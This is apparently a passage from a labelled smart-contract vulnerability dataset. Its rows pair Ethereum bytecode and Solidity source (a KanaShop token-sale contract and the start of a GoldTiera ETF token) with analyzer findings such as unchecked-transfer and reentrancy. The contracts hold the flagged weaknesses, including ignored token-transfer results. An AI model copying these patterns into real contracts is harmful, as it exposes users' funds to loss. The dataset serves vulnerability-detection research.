0405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061137f565b60008060008060008061125a876113ad565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061128c908761140a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112bb908661144c565b6001600160a01b0389166000908152600260205260409020556112dd816114ab565b6112e784836114f5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061135a8282611206565b82101561137657505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113a05760405162461bcd60e51b81526004016104409190611668565b506000610f978486611a05565b60008060008060008060008060006113ca8a600954600a54611519565b92509250925060006113da6111e3565b905060008060006113ed8e87878761156e565b919e509c509a509598509396509194505050505091939550919395565b600061105783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f66565b6000806114598385611a27565b9050838110156110575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610440565b60006114b56111e3565b905060006114c383836115be565b306000908152600260205260409020549091506114e0908261144c565b30600090815260026020526040902055505050565b600754611502908361140a565b600755600854611512908261144c565b6008555050565b6000808080611533606461152d89896115be565b90611206565b90506000611546606461152d8a896115be565b9050600061155e826115588b8661140a565b9061140a565b9992985090965090945050505050565b600080808061157d88866115be565b9050600061158b88876115be565b9050600061159988886115be565b905060006115ab82611558868661140a565b939b939a50919850919650505050505050565b6000826115cd57506000610478565b60006115d98385611a3f565b9050826115e68583611a05565b146110575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610440565b80151581146104bd57600080fd5b60006020828403121561165d57600080fd5b81356110578161163d565b600060208083528351808285015260005b8181101561169557858101830151858201604001528201611679565b818111156116a7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bd57600080fd5b80356116dd816116bd565b919050565b600080604083850312156116f557600080fd5b8235611700816116bd565b946020939093013593505050565b60006020828403121561172057600080fd5b5035919050565b60008060006060848603121561173c57600080fd5b8335611747816116bd565b92506020840135611757816116bd565b929592945050506040919091013590565b60006020828403121561177a57600080fd5b8135611057816116bd565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ae57600080fd5b823567ffffffffffffffff808211156117c657600080fd5b818501915085601f8301126117da57600080fd5b8135818111156117ec576117ec611785565b8060051b604051601f19603f8301168101818110858211171561181157611811611785565b60405291825284820192508381018501918883111561182f57600080fd5b938501935b8285101561185457611845856116d2565b84529385019392850192611834565b98975050505050505050565b6000806040838503121561187357600080fd5b823561187e816116bd565b9150602083013561188e816116bd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e057600080fd5b8151611057816116bd565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561192b5761192b611901565b5060010190565b60008060006060848603121561194757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561197257600080fd5b81516110578161163d565b60008282101561198f5761198f611901565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e45784516001600160a01b0316835293830193918301916001016119bf565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a2257634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a3a57611a3a611901565b500190565b6000816000190483118215151615611a5957611a59611901565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220326be37284a9a51917a7e76aa8db23dd5702056fd566d7e4ded1e8930024973264736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,653 |
0xabAF42b11d44f4bE4d3FFC4752bD52eDfC3821c3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KanaShop is Ownable {
address private kanaToken; //KanaToken address
string public _name = "KanaToken shop";
string public _symbol = "KanaShop";
uint8 private _decimalsKana = 8;
uint8 private _decimalsETH = 18;
uint256 _priceKanaAmount; //兑换比例;
uint256 _priceEthAmount; //兑换比例;
uint256 private _totalSellLimit = 200 * 10**uint256(_decimalsETH); //销售总量限制,200 ETH
uint256 private _totalsold; //已售出总量;
int256 _releaseIndex; //已释放数组记录的下标
struct OrderInfo {
address addrUser;
uint256 amount;
bool release; //是否释放
uint256 createTime; //购买时间;unixtime;精度,秒;
uint256 updateTime; //释放时间;unixtime;精度,秒;
}
struct OrderList {
address addrUser;
uint256[] arrOrderId;
}
uint256[] arrOrderTimeStamp; //订单时间戳数据;数组下标就是 orderId
mapping(uint256 => OrderInfo) private mapOrderInfo; //map<orderId, OrderInfo>
mapping(address => OrderList) private mapAddressOrderList; //map<address, OrderList>
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Approval(address indexed src, address indexed guy, uint256 wad);
event EventBuyKana(address indexed dst, uint256 wad);
event EventOwnerWithdraw(address indexed owner, uint256 amount);
event EventSetRawPrice(uint256 amountKana, uint256 amountEth);
event EventRelease(address indexed addr, uint256 amountKana);
constructor(address _kToken) public {
kanaToken = _kToken;
_totalsold = 0;
_releaseIndex = -1;
_priceKanaAmount = 0;
_priceEthAmount = 0;
}
fallback() external payable {
buyKana();
}
receive() external payable {
buyKana();
}
function buyKana() public payable {
uint256 min = 1 * 10**uint256(_decimalsETH);
uint256 max = 10 * 10**uint256(_decimalsETH);
uint256 tsOrder = now; //时间戳;
//单次购买限额
require(msg.value >= min && msg.value <= max, "amount limit");
//单地址购买总额限制
require(
balanceOf[msg.sender] + msg.value <= max,
"address total limit error"
);
//销售总量限制
require(_totalsold + msg.value <= _totalSellLimit, "total sell limit");
//订单信息
arrOrderTimeStamp.push(tsOrder);
uint256 currOrderId = arrOrderTimeStamp.length - 1;
mapOrderInfo[currOrderId].addrUser = msg.sender;
mapOrderInfo[currOrderId].amount = msg.value;
mapOrderInfo[currOrderId].release = false;
mapOrderInfo[currOrderId].createTime = tsOrder;
mapOrderInfo[currOrderId].updateTime = tsOrder;
//订单列表
mapAddressOrderList[msg.sender].addrUser = msg.sender;
mapAddressOrderList[msg.sender].arrOrderId.push(currOrderId);
//金额更新
balanceOf[msg.sender] += msg.value;
_totalsold += msg.value;
emit EventBuyKana(msg.sender, msg.value);
}
function getOrdersByAddress(address addrUser)
public
view
returns (
uint256 totalOrders,
address[] memory addrUsers,
uint256[] memory amounts,
bool[] memory releases,
uint256[] memory createTimes,
uint256[] memory updateTimes
)
{
totalOrders = mapAddressOrderList[addrUser].arrOrderId.length;
address[] memory retAddrUsers = new address[](totalOrders);
uint256[] memory retAmounts = new uint256[](totalOrders);
bool[] memory retReleases = new bool[](totalOrders);
uint256[] memory retCreateTimes = new uint256[](totalOrders);
uint256[] memory retUpdateTimes = new uint256[](totalOrders);
for (uint256 i = 0; i < totalOrders; i++) {
uint256 currOrderId = mapAddressOrderList[addrUser].arrOrderId[i];
retAddrUsers[i] = mapOrderInfo[currOrderId].addrUser;
retAmounts[i] = mapOrderInfo[currOrderId].amount;
retReleases[i] = mapOrderInfo[currOrderId].release;
retCreateTimes[i] = mapOrderInfo[currOrderId].createTime;
retUpdateTimes[i] = mapOrderInfo[currOrderId].updateTime;
}
addrUsers = retAddrUsers;
amounts = retAmounts;
releases = retReleases;
createTimes = retCreateTimes;
updateTimes = retUpdateTimes;
}
function ownerWithdraw(uint256 wad) public onlyOwner {
payable(address(this.owner())).transfer(wad);
emit EventOwnerWithdraw(address(this.owner()), wad);
}
function release() public onlyOwner {
// return IERC20(kanaToken).balanceOf(address(this));
require(_priceKanaAmount != 0, "need to set price of kana");
require(_priceEthAmount != 0, "need to set price of eth");
uint256 currIndex = uint256(_releaseIndex + 1);
for (uint256 i = currIndex; i < arrOrderTimeStamp.length; i++) {
if (true == mapOrderInfo[i].release) continue;
//兑换计算
uint256 amountKanaRelease =
(mapOrderInfo[i].amount * _priceKanaAmount) / _priceEthAmount;
IERC20(kanaToken).transfer(
mapOrderInfo[i].addrUser,
amountKanaRelease
);
mapOrderInfo[i].release = true;
mapOrderInfo[i].updateTime = now;
currIndex = i;
emit EventRelease(mapOrderInfo[i].addrUser, amountKanaRelease);
}
_releaseIndex = int256(currIndex);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function totalSellLimit() public view returns (uint256) {
return _totalSellLimit;
}
function totalSold() public view returns (uint256) {
return _totalsold;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function decimalsETH() public view returns (uint8) {
return _decimalsETH;
}
function decimalsKana() public view returns (uint8) {
return _decimalsKana;
}
function setRawPrice(uint256 amountKana, uint256 amountEth)
public
onlyOwner
{
require(_getRate(amountKana, amountEth) >= 1, "kana price too high");
_priceKanaAmount = amountKana;
_priceEthAmount = amountEth;
}
function getRawPrice()
public
view
returns (uint256 amountKana, uint256 amountEth)
{
amountKana = _priceKanaAmount;
amountEth = _priceEthAmount;
}
function _getRate(uint256 amountKana, uint256 amountEth)
internal
view
returns (uint256)
{
require(_decimalsETH >= _decimalsKana, "decimal error");
return
(amountKana * 10**uint256(_decimalsETH - _decimalsKana)) /
amountEth;
}
function getRate() public view returns (uint256) {
return _getRate(_priceKanaAmount, _priceEthAmount);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b09f126611610064578063b09f1266146104d0578063b4a8ea7f1461055a578063d28d88521461056f578063dd62ed3e14610584578063f2fde38b146105bf57610132565b8063715018a6146102be57806386d1a69f146102d35780638da5cb5b146102e85780639106d7ba1461031957806399eeda021461032e57610132565b80633abcab25116100e75780633abcab2514610206578063679aefce146102315780636bd26924146102465780636fc5e35b1461027657806370a082311461028b57610132565b8063084a32371461013a578063095ea7b31461016857806318160ddd146101b5578063338e2aac1461013257806333f707d1146101dc57610132565b36610132576101306105f2565b005b6101306105f2565b34801561014657600080fd5b5061014f610802565b6040805192835260208301919091528051918290030190f35b34801561017457600080fd5b506101a16004803603604081101561018b57600080fd5b506001600160a01b03813516906020013561080c565b604080519115158252519081900360200190f35b3480156101c157600080fd5b506101ca610872565b60408051918252519081900360200190f35b3480156101e857600080fd5b50610130600480360360208110156101ff57600080fd5b5035610876565b34801561021257600080fd5b5061021b610a12565b6040805160ff9092168252519081900360200190f35b34801561023d57600080fd5b506101ca610a20565b34801561025257600080fd5b506101306004803603604081101561026957600080fd5b5080359060200135610a35565b34801561028257600080fd5b506101ca610aed565b34801561029757600080fd5b506101ca600480360360208110156102ae57600080fd5b50356001600160a01b0316610af3565b3480156102ca57600080fd5b50610130610b05565b3480156102df57600080fd5b50610130610ba7565b3480156102f457600080fd5b506102fd610e10565b604080516001600160a01b039092168252519081900360200190f35b34801561032557600080fd5b506101ca610e1f565b34801561033a57600080fd5b506103616004803603602081101561035157600080fd5b50356001600160a01b0316610e25565b60405180878152602001806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b838110156103b757818101518382015260200161039f565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b838110156103f65781810151838201526020016103de565b50505050905001868103845289818151815260200191508051906020019060200280838360005b8381101561043557818101518382015260200161041d565b50505050905001868103835288818151815260200191508051906020019060200280838360005b8381101561047457818101518382015260200161045c565b50505050905001868103825287818151815260200191508051906020019060200280838360005b838110156104b357818101518382015260200161049b565b505050509050019b50505050505050505050505060405180910390f35b3480156104dc57600080fd5b506104e5611100565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561051f578181015183820152602001610507565b50505050905090810190601f16801561054c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056657600080fd5b5061021b61118e565b34801561057b57600080fd5b506104e5611197565b34801561059057600080fd5b506101ca600480360360408110156105a757600080fd5b506001600160a01b03813581169160200135166111ef565b3480156105cb57600080fd5b50610130600480360360208110156105e257600080fd5b50356001600160a01b031661120c565b600454610100900460ff16600a90810a908102423483118015906106165750813411155b610656576040805162461bcd60e51b815260206004820152600c60248201526b185b5bdd5b9d081b1a5b5a5d60a21b604482015290519081900360640190fd5b336000908152600d602052604090205434018210156106bc576040805162461bcd60e51b815260206004820152601960248201527f6164647265737320746f74616c206c696d6974206572726f7200000000000000604482015290519081900360640190fd5b6007543460085401111561070a576040805162461bcd60e51b815260206004820152601060248201526f1d1bdd185b081cd95b1b081b1a5b5a5d60821b604482015290519081900360640190fd5b600a8054600180820183557fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a89091018390559054600019016000818152600b602090815260408083208054336001600160a01b0319918216811783553483890181905560028401805460ff19169055600384018a90556004909301899055808652600c8552838620805490921681178255908701805497880181558552838520909601859055858452600d83529281902080548401905560088054840190558051928352519293927f182f79e177118dba88773ce5fabd147422d7a39e1baa59838cb8bcb33babda409281900390910190a250505050565b6005546006549091565b336000818152600e602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b4790565b61087e611304565b6000546001600160a01b039081169116146108ce576040805162461bcd60e51b815260206004820181905260248201526000805160206113af833981519152604482015290519081900360640190fd5b306001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561090757600080fd5b505afa15801561091b573d6000803e3d6000fd5b505050506040513d602081101561093157600080fd5b50516040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561096a573d6000803e3d6000fd5b50306001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b50516040805183815290516001600160a01b03909216917f4ad3fa841b4f5843839c0cf45813b8f0fd06ff727b8208ab010d2614670315669181900360200190a250565b600454610100900460ff1690565b6000610a30600554600654611308565b905090565b610a3d611304565b6000546001600160a01b03908116911614610a8d576040805162461bcd60e51b815260206004820181905260248201526000805160206113af833981519152604482015290519081900360640190fd5b6001610a998383611308565b1015610ae2576040805162461bcd60e51b81526020600482015260136024820152720d6c2dcc240e0e4d2c6ca40e8dede40d0d2ced606b1b604482015290519081900360640190fd5b600591909155600655565b60075490565b600d6020526000908152604090205481565b610b0d611304565b6000546001600160a01b03908116911614610b5d576040805162461bcd60e51b815260206004820181905260248201526000805160206113af833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610baf611304565b6000546001600160a01b03908116911614610bff576040805162461bcd60e51b815260206004820181905260248201526000805160206113af833981519152604482015290519081900360640190fd5b600554610c53576040805162461bcd60e51b815260206004820152601960248201527f6e65656420746f20736574207072696365206f66206b616e6100000000000000604482015290519081900360640190fd5b600654610ca7576040805162461bcd60e51b815260206004820152601860248201527f6e65656420746f20736574207072696365206f66206574680000000000000000604482015290519081900360640190fd5b600954600101805b600a54811015610e0a576000818152600b602052604090206002015460ff16151560011415610cdd57610e02565b6006546005546000838152600b60205260408120600101549092910281610d0057fe5b6001546000858152600b6020908152604080832054815163a9059cbb60e01b81526001600160a01b03918216600482015296909504602487018190529051909650939092169363a9059cbb936044808301949391928390030190829087803b158015610d6b57600080fd5b505af1158015610d7f573d6000803e3d6000fd5b505050506040513d6020811015610d9557600080fd5b50506000828152600b602090815260409182902060028101805460ff19166001179055426004820155548251848152925194955085946001600160a01b03909116927fd7c43f1f3562ee317392c7a54a3898cababfcfc03cc65b1c220ef345067ca49392908290030190a2505b600101610caf565b50600955565b6000546001600160a01b031690565b60085490565b6001600160a01b0381166000908152600c6020526040902060010154606080808080808667ffffffffffffffff81118015610e5f57600080fd5b50604051908082528060200260200182016040528015610e89578160200160208202803683370190505b50905060608767ffffffffffffffff81118015610ea557600080fd5b50604051908082528060200260200182016040528015610ecf578160200160208202803683370190505b50905060608867ffffffffffffffff81118015610eeb57600080fd5b50604051908082528060200260200182016040528015610f15578160200160208202803683370190505b50905060608967ffffffffffffffff81118015610f3157600080fd5b50604051908082528060200260200182016040528015610f5b578160200160208202803683370190505b50905060608a67ffffffffffffffff81118015610f7757600080fd5b50604051908082528060200260200182016040528015610fa1578160200160208202803683370190505b50905060005b8b8110156110eb576001600160a01b038d166000908152600c60205260408120600101805483908110610fd657fe5b6000918252602080832090910154808352600b90915260409091205488519192506001600160a01b03169088908490811061100d57fe5b6001600160a01b039092166020928302919091018201526000828152600b9091526040902060010154865187908490811061104457fe5b6020908102919091018101919091526000828152600b9091526040902060020154855160ff9091169086908490811061107957fe5b9115156020928302919091018201526000828152600b909152604090206003015484518590849081106110a857fe5b602002602001018181525050600b6000828152602001908152602001600020600401548383815181106110d757fe5b602090810291909101015250600101610fa7565b50999b939a5091989097509095509350915050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156111865780601f1061115b57610100808354040283529160200191611186565b820191906000526020600020905b81548152906001019060200180831161116957829003601f168201915b505050505081565b60045460ff1690565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156111865780601f1061115b57610100808354040283529160200191611186565b600e60209081526000928352604080842090915290825290205481565b611214611304565b6000546001600160a01b03908116911614611264576040805162461bcd60e51b815260206004820181905260248201526000805160206113af833981519152604482015290519081900360640190fd5b6001600160a01b0381166112a95760405162461bcd60e51b81526004018080602001828103825260268152602001806113896026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b60045460009060ff80821661010090920416101561135d576040805162461bcd60e51b815260206004820152600d60248201526c3232b1b4b6b0b61032b93937b960991b604482015290519081900360640190fd5b600454829060ff80821661010090920481169190910316600a0a84028161138057fe5b04939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220152a73eede8ceef7300b4c13267a851b152f72bafbfae1ca6fc9c6e6993a588164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,654 |
0x76eda1485707285f88d4c9404222c3f6cc5166ca
|
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/**
* GoldTiera ETF (GodTr) standard token
*/
pragma solidity ^0.5.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor() public {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
emit OwnerSet(address(0), owner);
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() external view returns (address) {
return owner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
isOwner
public
{
require(_toAdd != address(0));
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
isOwner
public
{
require(_toRemove != address(0));
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
view
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/***********************************************************/
/* GoldTiera ETF (GodTr) STARTS HERE */
/***********************************************************/
contract GoldTieraETF is Authorizable, TokenERC20 {
using SafeMath for uint256;
/// Maximum tokens to be allocated on the sale
uint256 public tokenSaleHardCap;
/// Base exchange rate is set to 1 ETH = GodTr.
uint256 public baseRate;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 1000000 * 10**uint256(decimals); // Default Crowsale Hard Cap amount with decimals
baseRate = 25 * 10**uint256(decimals); // Default base rate AIF) :1 eth amount with decimals
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () external payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address payable _beneficiary) public payable inProgress{
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
/// forward the raised funds to the contract creator
address(uint160(owner)).transfer(address(this).balance);
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
